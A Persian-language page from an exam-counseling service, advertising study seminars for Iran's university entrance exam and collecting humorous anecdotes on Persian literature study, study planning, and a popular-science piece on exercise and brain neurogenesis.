باتوجه به تغییر روند کنکور سراسری در سالها اخیر و همچنین پیشرفت تکنولوژی جدید اموزشی

این روز ها کنکور دیگر آن کنکوری نیست که میشناختیم

درقدیم فقط توجه به چنددرس اختصاصی و عمومی کافی بود تا دریک دانشگاه خوب و رشته ی خوب پذیرفته شوید.

اما این روزها روند ترکیبی و مفهومی بودن سوالت که هرساله جدی تر نیز میشوند نشان دهنده ی ان است که سوالات کنکور دارای ظرافت های خاص و هنوز نکات ناشناخته و نادیده ی کتاب را دربرمیگیرند 

ازاین رو اساتید و دبیران مختلف باتوجه به دروس خود، این روزها اهمیت بیشتری نسبت به درسهای خود میدهند و دانش اموزان را ترغیب به یاد گیری هریک ازدرس ها به نحوی عالی میکنند.

دراین میان دانش اموزان باتوجه به اهمیت هردرس بر آن میشوند تا راه های مدیریتی مختلف را فراگرفته تابتوانند تناسب و توازن مناسبی بین تمامی دروس برقرار کنند واین جاست که مشاوره و برنامه ریزی مدیریتی مطرح میشود

تا با حضور یک مشاور برای دانش اموزان دردوره های مختلف آموزشی بتوانند مدیریت دروس که خود یک مهارت محسوب میشود را فراگیرند و از سردرگمی های مختلف اموزشی -برنامه ریزی -مدیریتی جلوگیری کنند.

درهمین راستا تصمیم گرفتیم تا با برگزاری همایش های مشاوره ای باهدف پیشبرد و پیشرفت آموزشی دانش آموزان درقالب جلسات مشاوره های گروهی برای مدارس و موسسات آموزشی دز سطح کشور به این امر کمک کرده و درکنار دانش اموزان باشیم.

**برگزاری همایش های مشاوره ای تحصیلی درقالب موضوعات :مشاوره ی انگیزشی،برنامه ریزی،تحصیلی،پیشبرد و پیشرفت دروس و… در موسسات آموزشی و مدارس مختلف در سراسر کشور با کمترین هزینه ی ممکن برای آنها-به جهت سهولت دسترسی داوطلبان و دانش اموزان مدیران موسسات و موارس مختلف در سراسر کشور برای بهره مندی از بحث ها و موضوعات اموزشی انگیزشی و تحصیلی در سال تحصیلی جدید-new

 هزینه ی برگزاری اولین همایش در شهرها و موسسات مختلف در سراسر کشور رایگان خواهد بود.۳۲

هزینه ی برگزاری همایش مشاوره ی نیمروزه به مدت سه ساعت مفید و رسمی ۳۵۰ هزار تومان

هزینه ی برگزاری همایش یک روزه کامل به مدت۷ ساعت مفید و رسمی ۶۰۰ هزار تومان 

برای موسسات و مراکز خاص بهزیستی و کمیته امداد رایگان خواهد بود.

هماهنگی ایاب ذهاب وهزینه ی آن به عهده ی دعوت کننده میباشد.

**موضوعات اصلی و فرعی همایش و زمان بندی سانس های مختلف آن درقالب مشاوره های گروهی ویا انفرادی (درصورت تمایل) بعهده ی هماهنگ کننده و بااطلاع قبلی انجام پذیر است.

**مدارس و آموزشگاهایی که تمایل به دریافت مشاوره مستمر گروهی ویاانفرادی برای دانش اموزانشان بصورت مستمر هفتگی ویا مستمر ماهانه درطول سال تحصیلی را دارند از تخفیف هزینه برخوردار خواهند شد.

جهت هماهنگی #همایش را به شماره ی ۰۹۳۷۰۵۷۳۷۹۶ پیامک کنید.

از هر دری سخنی…

دست کم نگیر

خدا را یافتم در مخزن یاد             جهان جان  و دل زو گشت آباد

به شدت ادیب شده بودم. اصلا به نظر من ادیب شدن فقط این نیست که شعر بگویی یا قطعه ی ادبی بنویسی . فقط این نیست که در ادبیات پژوهشگر باشی یا دیوان یک شاعر را تصحیح کنی و توضیح دهی.برای ادیب شدن کافی است مثل من بشوی. می پرسی چه طور؟

همین طو  که بنده وقتی در تاکسی نشسته ام  و راننده محترم رادیو را روشن می کند و گوینده ، غزلی را می خواند ، تند تند در ذهنم آرایه های ادبی هر بیت را پیدا می کنم و تقش دستوری کلماتش را تعیین می کنم.

بعضی وقتها که گوینده یک بیت یا یک مصرع را که از آن خوشش آمده ؛ دوسه با  تکرار می کند ؛ وقت دارم که روی قرابت معنایی بیت یا مصراع یا اشعاری که قبلا خونده ام با غزل مورد نظر فکر کنم ؛ بنابراین عقیده دارم که بنده یک ادیبم . حالا اگر از آن ادیب ها که قرار است چهره ماندگار بشوند ، نباشم ، آن نیمچه ادیبی که برای کنکور لازم باشم ، هستم. مقصودم از این مقدمه چینی این بود که بگویم همیشه ی  ادیب باید از کلام بزرگان شعر ، پند بگیرد. بنده بیتی از  ” خاقانی ” خوانده ام که در یادگیری بسیار موثر بود. می فرماید:

کهتری را مهتری یابد                هم بدان چشم مهتری منگر

یعنی اگر یک فرودستی مقام عالی پیدا کرد و بزرگ شد، دیگر با همان چشم کوچکی به او نگاه نکن یا دیگر او را کوچک مپندار بلکه بدان که او دیگر مهم شده است. این باعث شد یاد بگیرم حروفی مثل ” را ” ی نشانه ی مفعول ، حروف اضافه ( از ، با ، به ، در ، بر و ….) هرچند ظاهرا کم و کوچک و به اطلاح خاقانی کهتر هستند ، وقتی در جمله قرار می گیرند ، امور مهمی مثل نقش مفعول یک واژه یا متمم کردن کلمه را بر عهده دارند ؛ پس نباید به چشم کهتری به آنها بنگریم ، بلکه آنها حالا هم مهتر شده اند و باید در شمارش تکواژ و واژه هر دو به حساب آوریم.

پس درود به روح ” خاقانی شروانی ” که در ادامه فرمود :

خردشاخی که شد درخت بزرگ                  در بزرگیش سرسری منگر

مدیریت خیال

هرکه را نیست یاد خدا در حریم او       سرگشته تر زکشتی بی ناخدا بود

نه اینکه بچه ی درس خوانی نباشد ، نه …؛ درس خوان و پر تلاش بود ولی اختیار فکر و خیالش دست خودش نبود. می گفت  : ” تمام عزمم را جزم می کنم طبق برنامه ریزی ، سر ساعت می نشینم سر درس و مشقم ؛ اما مثلا می بینم یک مورچه روی کتابم تند و تند از این طرف به آن طرف می رود. با یک فوت ، مورچه را به بیرون از کتابم پرتاب می کنم و خودم پرتاب می شوم به زمانی که بچه ای سه چهار ساله بودم . روزی مورچه ای انگشت کوچک پایم را گاز گرفت که خیلی سوخت و من خیلی ترسیدم. بعد یادم می افتد پارسال که رفته بودیم مسافرت ، هنگام گشت و گذار در جنگل ، زنبوری شصت دستم را نیش زد و شصتم به اندازه ی یک بادنجان باد کرد و بعد سیاه شد. یک دفعه خاطره ی تفریح و بازی در جنگل یادم می آید که پشه ها صورت مرا میدان زورآزمایی دیده بودند و تا توانسته بودند لپ هایم را نیش زده بودند. خلاصه هی خاطره در خاطره و وقتی به خودم می آیم می بینم یک ساعت از وقتم گذشته و من فقط خاطره بازی کرده ام. “

بعد از درد و دل دوستم ، من که در آموزش افزایش قدرت تمرکز ، مطالعات وسیعی دارم ، چند راهکار به او دادم و رفتم که دو ساعت بعد برگردم و نتیجه ی کار را ببینم.

بعد از دو ساعت وارد اتاق شدم . آرام در زدم و گفتم : ” چه خبر ؟ ”

در حالی که ابروهایش به هم گره خورده بود ، سرش را از توی کتاب بلند کرد و با چشم های سرخ و بیرون زده گفت : ” ی ی ی ی ….”

از تعجب داشتم شاخ در می آوردم ؛ بعد از این همه فداکاری و دلسوزی ، رفیقم به من دهن کجی می کند.

با دلخوری گفتم  : ” چرا ؟!….” اشاره به کتابش کرد و گفت :” ی ی ی ی…” رفتم به سمت در که پرید و دستم را گرفت و گفت : ” بابا کجا می روی ؟ حرف نزدم تا تمرکز را از دست ندهم و وقتم تلف نشود . منظورم این بود که دارم انواع  ” ی ” را می خوانم ؛ چون ما در ادبیات  ” ی ” نداریم بلکه ” ی ی ی ی…” داریم یعنی چند تا ” ی . ”

خنده ام گرفت و خواستم که بیشتر توضیح دهد. گفت : ” در مطالعاتم به این بیت از وحشی بافقی برخوردم  :

به سوزی ده کلامم را روایی             کزان گرمی کند آتش گدایی

که باعث شد به انواع  ” ی ” توجه کنم و ببینم که  ” ی ” در زبان فارسی چندین کاربرد دارد :

– ی نکره که مفهوم یک یا یکی دارد ؛ مثل : سوزی (یک سوز )

– ی مصدری که مفهوم مصدری دارد ، مثل : روایی ( روا بودن ) ، گرمی ( گرم بودن ) ، گدایی ( گدایی کردن )

و……

دوستم مدیریت خیالش را به دست گرفته بود و توانسته بود نکته ای بیاموزد . از این موضوع خوشحال شدم و دلخوری ام را فراموش کردم.

تن خور 

به نام خدایی که با تیره خاک                  برآمیخت این جوهر جان پاک

ابتدای سال تحصیلی بود. هنوز در هفته های کار بودم و تا آن زمان سه برنامه ی مطالعاتی عوض کرده بودم. اولی برنامه ی پسرخاله ام بود که رتبه ی دو رقمی را در سال گذشته به دست آورده بود. او هر روز چهار ساعت ادبیات می خوانده و هر بار که می خواسته تاریخ ادبیات و لغت بخواند ، از اول کتاب شروع می کرده است. برنامه ی توپی به نظر می رسید. یکی دو روز روی این برنامه پافشاری کردم ؛ ولی بعد دیدم پس از مطالعه ی ۴ ساعته ی ادبیات ، حوصله ی خواندن  هیچ درس دیگری را ندارم.

با خود گفتم حالا اول کار است. برنامه ام را عوض می کنم و تصمیم گرفتم روش نوه ی عمه ی مادرم را پیش بگیرم که مطالعه ی ادبیات را گذاشته بود برای اواخر اسفند. راستش را بخواهید دو سه آزمون که دادم و درصد ادبیاتم ، صفر شد ، ترس برم داشت که نکند آن موقع هم نتوانم ادبیات را بخوانم و همه ی مباحث را تمام کنم و این صفر ، نتیجه ی کنکورم بشود. آخر من که مثل نوه عمه ی مادرم برگزیده ی المپیاد ادبی نبودم. این شد که برنامه ام را تغییر دادم و از شیوه ی مطالعه ی دختر عموی بزرگ مادرم که ۴۰ سال پیش کنکور داده و نفر سوم شده ، خیلی خوشم آمد. او از غروب تا نیمه شب ادبیات می خوانده و از نیمه شب تا صبح تست می زده و صبح تا شب می خوابیده است.

بعد از چند شب که این برنامه را اجرا کردم ، نمی دانم چه طور شد که کارم به دکتر و بیمارستان و سرم و دوا و درمان کشید و مادرم موکدا ارتباط با دختر عمویش را برای من قدغن کرد.

فردای آن روز که رفیق شفیقم برای ملاقات به منزلمان آمده بود و من ماجرا را برایش شرح دادم و گفتم که تصمیم دارم از برنامه ی برادر کوچک تر همسایه ی دست راست محله ی قبلی مان استفاده کنم ، دو تا از دوستانش را با خود آورده بود.

اولی – چشمم کف پایش – بالای صد کیلو وزن داشت و پیراهن زیبایی بر تن کرده بود. دومی هم که هم سن و سال خودم بود ، به جرات می توانم بگویم وزنش به چهل کیلو گرم هم نمی رسید. هیکلش را تصور کنید که عرضش به قاعده ی یک مداد باشد و طولش ۱۸۰ سانتی متر ! او هم لباس جالبی پوشیده بود . اول فکر کردم دوستم این دو نفر را آورده تا آرایه ی تضاد را به من یاد دهد . وقتی کنجاوی مرا دید ، گفت : ” این ها را آورده ام که درباره ی لباسشان اظهار نظر کنی .” گفتم :”  خیلی شیک پوش هستند. ” گفت :” می خواهی لباسشان را بپوشی و برتن خودت امتحان کنی ، ببینی به تو می آید یا نه ؟”

خنده ام گرفت. گفتم :” اگر لباس اولی را بپوشم که در آن گم شوم ؛ دومی هم که اصلا حرفش را نزن . یک دست من هم در آن جا نمی گیرد .”

گفت :” این لباس ها مورد پسند توست ولی تن خور تو نیست . برنامه ی مطالعاتی دیگران هم همین است. شاید به نظر افسونگر و زیبا باشد ، ولی مناسب تو نیست . تو باید با در نظر گرفتن توان و شرایط خودت برای مطالعه ی لغت ، تاریخ ادبیات ، املا و دیگر مباحث ادبیات برنامه ریزی کنی. “

گفتم :” پس چرا این همه با آدم های موفق مصاحبه می کنند و آنها را به ما نشان می دهند و می گویند از این ها یاد بگیرند؟ هان ؟….چرا ؟….”

گفت : ” بله ، شنیدن تجربیات دیگران بسیار مفید است و افراد موفق هم می توانند الگوی ما باشند ولی باید تشخیص دهیم که کدام روش برای ما بهتر است و جواب می دهد. ”

در تمام عمرم این قدر قانع نشده بودم. برگه ای برداشتم و تصمیم گرفتم یک برنامه عملی و واقعی برای خودم طراحی کنم.

کشف بهترین نوع ورزش برای مغز

امروزه همه می دانند که تمرینات ورزشی ساختار و عملکرد مغز را تغییر می دهند.مطالعاتی که که بر روی حیوانات و انسان ها صورت گرفته نشان می دهند و می توانند حفره هایی را که به دلیل بالا رفتن سن در ماده ی سفید و خاکستری مغز ایجاد می شود ، کاهش دهند ؛ اما این که بهترین نوع ورزش برای مغز چیست ، سوال است که پاسخش را در این مقاله می خوانید.

با توجه به مطالعه  ی جدید بر روی موش ها، به نظر می رسد بعضی از ورزش ها نسبت به بقیه برای تقویت مغز مفیدتر باشند. برای اولین بار، دانشمندان تاثیرات عصبی انواع مختلف ورزش ها را بروی مغز با هم مقایسه کردند : دویدن ، تمرین با وزنه و تمرینات وقفه دار با شدت بالا . نتایج جالب توجه بودند و نشان می دادند شاید تمرینات سخت برای سلامت طولانی مدت مغز گزینه ی مناسبی نباشند. ورزش کردن ، نورون زایی یا ایجاد سلول های مغزی جدید را هم در مغز بالغ افزایش می دهد. مطالعاتی که بر  روی حیوانات صورت گرفته ، نشان می دهد تعداد نورون های جدیدی که بعد از ورزش هایی مثل  دویدن بر روی چرخ متحرک یا تردمیل ، در«هیپوکامپ» (ناحیه ای کلیدی در مغز که به یادگیری و حافظه مربوط می شود) پدیدار می شوند ، دو یا حتی سه برایر تعداد نورون هایی که در هیپوکامپ حیواناتی که نشسته اند ، مشاهده می شوند . دانشمندان معتقدند که ورزش کردن تاثیرات مشابهی بر هیپوکامپ انسان نیز دارد.

دویدن در مسافت های طولانی تاثیرات بسزایی بر مغز دارد

 مطاعاتی که در رابطه با ورزش و نورون زایی انجام شده بودند بر دویدن در مسافت های زیاد تمرکز داشتند . موش های آزمایشگاهی دویدن را خوب بلدند ، اما این که آیا دیگر انواع ورزش ها هم به همین شکل در تولید عصب ها و سلول های جدید در مغز تاثیر می گذارند، هم چنان ناشناخته بودند و با توجه به محبوبیت ورزش هایی مانند تمرین با وزنه و تمرینات وقفه دار با شدت بالا ، این موضوع این روزها توجه خیلی از دانشمندان را به خود جلب کرده است.

در مطالعه جدیدی که در مجله تخصصی فیزیوتراپی به چاپ رسید، محققان گروه بزرگی از موش های بالغ نر را مورد مطالعه قرار دادند. محققان ماده ای به موش ها ترزیق کردند که سلول های مغزی را نشانه گذاری می کرد و گروه هایی از آنها را به انجام ورزش های مختلف واداشتند ، در حالی که یکی از آن گروه ها را ساکن و نشسته نگه داشتند. در قفس تعدادی از این موش ها ، دستگاهی مانند تردمیل قرار دارند تا هر زمان که خواستند روی آن بدوند . بیشتر آنها هر روز مسافتی که موش ها می دوند ، البته مسافتی که موش ها می دویدند با هم متفاوت داشت. بعضی از موش ها هم تمرین های مقاوتی را شروع کردند، یعنی با وزنه های کوچکی که به دمشان بسته شده بود از دیوار ها بالا می رفتند. دیگر موش ها نیز تمریناتی را که شبیه تمرینات وقفه دار با شدت بالا بود، انجام دادند. این دسته موش ها روی تردمیل های کوچک قرار داده شدند و برای سه دقیقه با سرعت زیاد می دویدند ، سپس دو دقیقه به صورت آرام بر روی دستگاه راه می رفتند و بعد کل این مراحل دوبار تکرار می شد تا در نهایت به ۱۵ دقیقه دویدن می رسید.

این روند هفت هفته ادامه داشت و بعد از آن دانشمندان بافت های هیپوکامپ در تمام این حیوانات را با دقت بررسی کردند. آنها به نسبت ورزشی که هر کدام از این حیوانات انجام می دادند ، سطوح مختلفی از نورون زایی را مشاهده کردند.

موش هایی که بر روی تردمیل به آرامی دویده بودند ، میزان زیادی از نورون های جدید در مغزشان تشکیل شده بود. در این موش ها بافت های هیپوکامپ با نورون های جدید پر شده بودند و تعدا نورون ها در مقایسه با مغز حیواناتی که نشسته بودند بسیار بیشتر بود. هرچه مسافتی که موش ها در طول آزمایش دویده بودند بیشتر بود ، سلول های جدید بیشتری در مغزشان به وجود آمده بود.

تعداد نورون های به وجود آمده در مغز حیواناتی که تمرینات وقفه دار با شدت بالا انجام داده بودند.البته اعدادشان نسبت به حیوانات نشسته بیشتر بود ولی در مقایسه با حیوانات دونده کمتر بود.

موش هایی که تمرینات با وزنه انجام داده بودند با اینکه در انتهای دوره ی آزمایشی قوی تر شده بودند ، ولی تغییر زیادی در شکل گیری نورون های جدید در مغز آنها دیده نشده بود و بافت هیپوکامپ آنها دقیقا مشابه حیواناتی بود که اصلا ورزش نکرده بودند. 

تمرین با وزنه با اندازه ی دویدن بر نورون زایی در مغز تاثیر ندارد 

البته مسلم است که موش ها با انسان ها تفاوت دارند ؛ امایافته های این مطالعه اغوا کننده است . مدیر این تحقیق را بر عهده داشت می گوید :” این مطالعات نشان می دهد تمرینات ایروبیک می تواند برای مغز انسان در مقایسه با بقیه ی تمرینات مفیدتر باشد”.

هنوز دلیل اینکه چرا دویدن در مسافت های طولانی در تولید عصب های جدید در مغز از دیگر ورزش ها موثرتر است به وضوح نمایش مشخص نشده است ، اما این محققان حدس می زنند که دویدن باعث آزاد شدن ماده خاصی در مغز می شود که به ” فاکتور نورون زایی مشتق شده از مغز ” معروف است که می تواند باعث زایش نورون های جدید شود و هرچه مسافتی که دویده شود بیشتر باشد ؛ تعداد نورون های تولید شده بیشتر خواهد بود.

از طرف دیگر ، با این که تمرین با وزنه برای سلامت عضلانی مغز بسیار مفید است ، اما یافته های این مطالعه نشان می دهد تاثیر خیلی کمی در سطح نورون زایی در مغز دارد.

در حالیکه فواید تمرینات وقفه دار با شدت بالاتحت شعاع شدت این تمرینات قرار دارد ، این تحقیقات می گوید :”این نوع تمرینات سطح استرس را بالا می برند و استرس میزان نورون زایی در هیپوکامپ مغز بالغ را کاهش می دهد.

” البته این نتایج بدین معنی نیستند که فقط دویدن و تمرینات ورزشی مقاوتی شبیه به آن ، مغز را تقویت می کنند. به نظر می رسد این نوع فعالیت ها باعث بیش ترین حد نورون زایی در هیپوکامپ می شوند ؛ اما احتمالا تمرین با وزنه و تمرینات وقفه دار ، تغییرات دیگری در مغز به وجود می آورند . احتمالا این نوع ورزش ها در تولید رگ های خونی جدید و تشکیل ارتباطات جدید بین سلول های مغزی یا بین قسمت های مختلف مغز ، موثر هستند.

پس اگر در حال حاضر با وزنه تمرین می کنید یا فقط تمرینات وقفه دار با شدت بالا انجام می دهید ، به این کار ادامه دهید ولی بعد نیست هرازگاهی برای سلامت هیپوکامپ تان هم شده ، دویدن یا دوچرخه سواری  را نیز امتحان کنید.

فوت و فن شعر 

” دلا بیا که زیر خدا پردازیم                  کنیم سر خود را زغیر پالوده ”

شروع کردم زیر لب نق زدن و غرغر کردن که : ” ای بابا…. این چه وضعی است ؟….یعنی چه ؟…..این طوری که حتی یک تست هم نمی توانم بزنم….”

هرچه دست در مو بردم و سرم را میخاراندم ، نمی فهمم شاعر محترم – که خدا نور به قبرش ببارد – می خواسته چه بگوید که این همه لقمه را دور سرش چرخانده است.

پدربزرگم که از آن قدیمی های استخوان خرد کرده و نکته دان است ، نزدیک من نشسته بود و با یک قتد شکن که تاریخ ساختش دست کم ، نیم قرن قبل از تولد من بود ، قند می شکست و زیر لب به قول خودش در دستگاه شور آواز می خواند.

وقتی غرولند مرا شنید ، دست از کار کشید و لب از آواز فروبست و دقیق شد روی صورتم و از بالای عینک زل زد به من و گفت : ” بلند بخوان باباجان ، ببینم حرف حسابش چیست؟”

خودم را که روی دفتر و کتاب ولو کرده بودم ، جمع و جور کردم و با یک نک و ناله خواندم :

”  گفت بر ، ترشو از بر ، خورشید            که رطب خیره ، بارنا، رد بید ”

پدربزرگم دستهایش را از گرد قند پاک کرد و گفت  :” باباجان ، این که دیلماج نمی خواهد. شاعر شیرین سخن که سنایی باشد، فارسی حرف زده ولی شما داری کلمات را به هم می پیچی….عزیزم بد می خوانی….

بعد صدایش را صاف کرد و با یک نغمه ی خوش شش دانگ که بعدا فهمیدم در دستگاه ماهور بوده ، شعر را خواند و بعد هم دکلمه کرد که :

” گفت : برتر شو از بر خورشید             که رطب خیره بار نارد بید ”

بعد از این هنرنمایی مفصل و پرشور و حال ، بلند و کش دار ، جملات بیت را به نثر فارسی روان برگرداند  :

” گفت : از مقابل خورشید کنار برو و مانع آسایش من نشو که درخت بید هرگز خرما نمی دهد. ”  انگار یک سطل آب جوش را کم کم روی صورت من می ریختند ؛ هی داغ می شدم ، هی سرد می شدم ،. پدربزرگم راست می گفت. به جای اینکه سواد خواندن را در خودم تقویت کنم و شعر را درست بخوانم  ، هی تقصیرها را به گردن شاعر انداختم که چرا نامفهوم سروده است . این شد که تصمیم گرفتم با کمک پدربزرگ هنرمندم هرشب روی درست خوانی اشعار کار کنم تا بتوانم به تست های قرابت معنایی پاسخ دهم  ؛ چون به قول ایشان روخوانی شعر ، فوت و فن دارد. 

 

 

دقایق سرنوشت ساز

گفت : ” ببین من حساب کردم ، دیدم ادبیات کلا ۷۰ درس دارد که البته چه هفتادی ، بگو هفتصد درس!چون هردرسی در بطن خودش چند لایه مهم و عمیق دارد.این هفتاد درس مجموعا چند صد لغت دارد و هر لغت – قربانش بروم – سه چهار معنی. ده ها شخص و معروف بنام دارد که هر کدام – چشمم کف پای شان – صاحب چند اثرند که بنده باید همه را حفظ کنم  ، نظم یا نثر بودنشان را بدانم و از موضوعاتشان مطلع باشم. ده ها اثر داریم که باید نام صاحبانشان را بشناسم.هزار و یک جور اتفاق در تاریخ ادبیات این کشور رخ داده که باید یاد بگیرم.املای صدها لغت را باید بلد باشم.تازه لغاتی که بعضی هاشان چند رو دارند ؛ یعنی یک جور تلفظشان می کنی ولی به چند شکل می نویسی . اینها به کنار ، باید بتوانی هر شعر را بخوانی  و رابطه اش را با اشعار متناسبش پیدا کنی. غیر از این باید بتوانی آرایه هایش را در طرفه العینی تشخیص دهی. همه ی اینها را که یاد گرفتی و فوت و فنش را دریافتی ، تازه می رسی به مبحث بی نظیر و منحصر به فرد زبان فارسی که برای خودش هفت خوان رستم دارد. همه ی اینها را که رد کردی ، تازه می رسی به تونل وحشت تست زدن.”

بعد از این سخنرانی پرشور باز سرش را کرد توی کاغذ و قلمش و در حالی که زیر چشمی مرا می پایید زیر لب زمزمه کرد :” خوب ! حالا این همه مرامت و تمرین و خواندن و تست زدن فقط برای ۱۸ دقیقه و ۲۵ سوال؟ من از شما می پرسم ، فقط برای ۱۸ دقیقه و ۲۵ سوال؟آخر انصاف است؟”

یک لیوان آب خنک دستش دادم که بدون تعارف ، لاجرعه سرکشید و بعد هم نفسی عمیق کشید و منتظر شد که من از پاسخ دادن عاجز شوم و بگویم که خوب پس ارزش ندارد که ادبیات فارسی را بخوانی. این کارها را از طرز نگاهش فهمیدم.

لبخند زدم و گفتم :” از جهان پهلوانی پرسیدم که در وزنه برداری مرد شماره ی یک در تمام دنیا بود شنیدم که می گفت در طول تمریناتش بیش از ۳۰ تن وزنه بلند می کرده و روزها و ماه ها تلاش می کرده و هر بار چند صد کیلو وزنه بالای سر می برده تا در یک مسابقه ی جهانی در مقابل چشم مردم دنیا و داوران فقط ۲ دقیقه بتواند وزنه بزند. او انگیزه پیروزی داشت . به کوتاهی ۲ دقیقه و سختی کارش فکر نمی کرد ، بلکه به هدفش نگاه می کرد.”

به فکر فرو رفت و به من خیره شد.ادامه دادم : ” پس بجاست که برای ۱۸ دقیقه ی مهم و ۲۵ سوال سرنوشت ساز ، برنامه ریزی کنیم . تلاش کنیم ، بخوانیم ، حفظ کنیم ، تمرین کنیم و تست بزنیم که همه ی اینها به شیرینی آن پیروزی عزیز و به عزت دانایی می ارزد.

 

 

تبدیل ضعف به قدرت

افتتاح نامه ها از نام او                 هر دو عالم جرعه نوش جام او

گفتم  :” بالا بروی ، پایین بیایی ، من اهلش نیستم . اصلا نمی توانم بخوانم.” گفت :”لازم نیست : نه فقط برای کنکور ، در آینده برای برقراری ارتباط باید فوت و فنش را بدانی.”

خلاصه هرچه اصرار می کرد توی کت من نمی رفت که نمی رفت. نمره ام در آزمون ها پایین بود ؛چون یا این سوالات را پاسخ نمی دادم یا غلط می زدم.

حتما بگویید : ” نویسنده ی متن ! یک جوری حرف بزن که ما هم متوجه شویم موضوع چیست. چه چیز را نمی زدی یا غلط می زدی ؟”

جانم برای تان بگوید که مشکل اصلی من درس زبان فارسی بود. هرچه خودم را راضی می کردم ، برنامه ریزی می کردم ، وقت تعیین می کردم که بنشینم و جدی جدی این درس را بخوانم ، نمی شد که نمی شد. روزی همین دوستم که همیشه در بحران ها دستم را می گیرد ، به من گفت : ” می خواهی چه کاره شوی ؟” گفتم :” بنده این تصمیم را از بچگی گرفته ام . بچه که بودم تصمیم گرفتم دکتر شوم .بعدها که بزرگتر شدم یاد گرفتم که دکتر بشوم ، خوب است ولی کافی نیست و حتما باید تخصص هم داشته باشم.پس جراحی عمومی را به عنوان تخصص خود انتخاب کردم.”

گفت :” فکر کن همین حالا جراح شده ای و بیمارانی را برای جراحی پیش تو آورده اند. آیا می توانی بگویی فلانی را عمل کرده ام چون از او خوشم می آید ، فلانی را عمل نمی کنم چون مثلا خیلی لاغر است یا کاری به فلان بیمار ندارم چون اضافه وزن دارد ؟”

گفتم :” نه پزشک فردی متعهد است . باید در حق هر بیماری به غایت دلسوز و مسئولیت پذیر باشد و فکر و ذکرش درمان باشد.”

گفت :”عزیزم! ضعف تو در هر درس یا مبحث  ، حکم یک بیمار را دارد و تو تنها پزشکی هستی که می توانی آن ضعف را به قدرت تبدیل کنی و هیچ درمانگر دیگری توان این کار را ندارد.”

واقعا حرفش تکان دهنده بود. انگار بیدار شدم. با خودم فکر کردم ضعف هایم را در زبان فارسی تشخیص دهم و راه برطرف کردن آنها را پیدا می کنم ؛ چون من تنها پزشکی هستم که این کار از دستم بر می آید

 اولین موضوعی را که ضعیف یافتم و سعی کردم روی آن کار کنم تا به قدرت تبدیلش کنم مبحث :” تغییر معنا در افعال ” بود . شما هم حاصل مطالعاتم را بخوانید :

گاه افعال یک معنای مستقیم دارند ؛ مثلا مصدر ” گرفتن ” به معنای ” اخذ کردن ” به کار رفته است :

دستم بگرفت و پا به پا برد               تا شیوه ی راه رفتن آموخت

اما گاهی افعال با توجه به کاربردشان در جمله ، معانی مختلفی می گیرند . 

میانه روی

ای خدا از فضل تو حاجت روا                   باتو یاد هیچکس نبود روا

برای یک هفته برنامه ریزی کردیم.ادبیات را به مباحث لغت، تاریخ ادبیات ، آرایه ی ادبی، املا ، زبان فارسی و قرابت معنایی تقسیم کردیم و قرار شد طبق برنامه ، درس به درس جلو برویم.

پس از هفت روز رفتم سراغش. وارد اتاق که شدم ، صدایش را می شنیدم ولی تصویرش را نمی دیدم ! تنها انبوهی از کتاب پیدا بود که روی میز چیده شده بود. اول خوشحال شدم و تحسینش کردم ؛ دیدم انگار به برنامه متعهد بوده و کارهایش را به موقع انجام داده است ؛ اما جلوتر که رفتم ، به تردید افتادم. بلاخره از میان کتاب های رنگارنگ که بعضی قطرهای نازک داشتند و بعضی ضخیم و ستبر بودند ، سر بیرون آورد و لبخندی پیروزمندانه تحویلم داد.

پرسیدم: “چه خبر؟ می بینم که در ادبیات غرق شده ای !” بعد هم کتاب ها ورانداز کردم که همه ادبیاتی بودند.

گفت :” واقعا هفته پرکاری داشتم تا این که تقریبا همه راخریدم.” تازه دستگیرم شد که چه کرده است.

ادامه داد:” نمیدانی چه خبر است بازار کتاب !این مولفان کتاب ماشا…دارند به خدا.هرچه می خری تمام نمی شود.” گفتم :” خوب در این یک هفته چه خوانده ای؟” گفت:” خواندن چیست؟بگو چه خریده ای؟”

بعد هم شروع کرد به زیر و رو کردن کتاب ها و یکی یکی آنها را جلو چشم من می گرفت و درباره شان توضیح می داد :” این تمام لغات دشوار را معنی کرده است. این یکی همه لغت ها را دسته بندی کرده و رنگی رنگی کرده است. ببین چقدر قشنگ است! این یکی لغت ها را درس به درس آورده ولی آن یکی فقط الفبایی تقسیم کرده است. وای این تاریخ ادبیات را ببین چه نقاشی های زیبایی دارد ؛ ولی این یکی قطورتر است و تست هم دارد.این تاریخ ادبیات جلد خیلی جذابی دارد؛نمی شد نخرمش.تازه این یکی روشی خیلی جدید و عجیب برای آموزش دارد.”

من با چشم های گرد و دهان باز ،هاج و واج او را نگاه می کردم.خنده بلندی سر داد و گفت :” تو هم تعجب کرده ای؟ حالا این زبان فارسی ها را نگاه کن.این یکی همه چیز را درس داده.آن یکی عجب ترکیب و اندازه مناسبی دارد؛ سنگین هم نیست .این یکی پاسخ نامه ی تشریحی هم دارد . ولی آرایه های ادبی تمامی نداشت .هر ناشری به چندین شکل و صورت آرایه ادبی منتشر کرده است.”

احساس کردم سرگیجه گرفتم. نشستم و دستم را روی پیشانی ام گذاشتم. گفت :”حالت خوب نیست؟” گفتم : ” بگو چقدر خوانده ای؟” من من کنان گفت :” هنوز شروع نکرده ام….از….روی این…این ها می خوانم و ادیب می شوم.

“گفتم :” تو تنها نیستی.”تعجب کرد و ساکت شد.ادامه دادم : “خیلی از دانش آموزان مثل تو هستند که ساعت ها وقتشان را صرف می کنند برای خریدن کتاب.آنها دنبال منبعی می گردند که بتواند به راحت ترین شکل و کوتاه ترین زمان آنها را ادیب کند، درحالی که باید بدانند این کتاب در هیچ کجای دنیا برای هیچ درسی وجود ندارد. برای مطالعه ، کتاب درسی مهم ترین منبع است و در کنار آن انتخاب یکی دو کتاب کمک درسی هم مفید است . بهتر است به جای این همه کتاب که می خریدیم و نمی خوانیم یکی دو منبع را که برای ما بهتر است برگزینیم و آن ها را خوب و دقیق بخوانیم.”

بیشتر که توضیح دادم ، انگار قانع شد که افراط و زیاده روی کار درستی نیست .با یک حساب سرانگشتی می شد فهمید که خواندن مو به موی این همه کتاب ممکن نیست.دستی به سرش کشید و گفت:”بله گذشتگان ما بیهوده نگفته اند که یک ده آباد بهتر از صد شهر ویران است.”

از این که او را منطق پذیر و واقع بین دیدم ، خوشم آمد و تشویقش کردم که برای هفته ای که بدون مطالعه گذشته است تلاش کند و شادمانه و امیدوار درس بخواند.

۱۰ توصیه برای غلبه بر بارسلونا

